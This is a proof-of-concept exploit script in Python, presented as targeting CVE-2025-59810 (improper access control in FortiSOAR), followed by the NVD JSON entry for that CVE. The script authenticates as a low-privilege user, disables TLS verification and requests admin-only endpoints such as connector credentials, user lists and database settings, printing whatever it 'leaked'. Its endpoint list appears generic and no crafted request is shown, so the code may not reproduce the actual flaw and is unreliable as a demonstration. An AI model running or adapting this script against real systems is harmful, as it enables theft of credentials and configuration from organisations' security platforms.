CVE-2025-59810

# CVE-2025-59810 PoC - FortiSOAR Improper Access Control # Authentication required (low privilege user) # This PoC demonstrates information disclosure via crafted API requests import requests import json TARGET = "https://fortisoar.example.com" CVE_ID = "CVE-2025-59810" def exploit_fortisoar_access_control(): """Exploit improper access control in FortiSOAR""" # Step 1: Authenticate with low privilege account login_url = f"{TARGET}/api/auth/login" credentials = { "username": "low_privilege_user", "password": "password123" } session = requests.Session() response = session.post(login_url, json=credentials, verify=False) if response.status_code != 200: print(f"[-] Authentication failed") return None token = response.json().get("data", {}).get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Exploit improper access control to access restricted endpoints # Try to access admin-only configuration endpoints sensitive_endpoints = [ "/api/connector/configurations", "/api/connector/credentials", "/api/users", "/api/settings/database", "/api/system/config" ] leaked_data = {} for endpoint in sensitive_endpoints: url = f"{TARGET}{endpoint}" resp = session.get(url, headers=headers, verify=False) if resp.status_code == 200: print(f"[+] Leaked data from {endpoint}") leaked_data[endpoint] = resp.json() return leaked_data if __name__ == "__main__": print(f"[*] Exploiting {CVE_ID}") data = exploit_fortisoar_access_control() if data: print(f"[+] Successfully extracted sensitive information")

{"cve": {"id": "CVE-2025-59810", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:55.500", "lastModified": "2025-12-09T20:12:52.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper access control vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.2, FortiSOAR PaaS 7.5.0 through 7.5.1, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.1, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow information disclosure to an authenticated attacker via crafted requests"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.2", "matchCriteriaId": "AB556BB9-A061-45DD-AB46-C583B7CB5108"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "9F88A820-7AAA-49BB-87AB-E93693B9889F"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-601", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}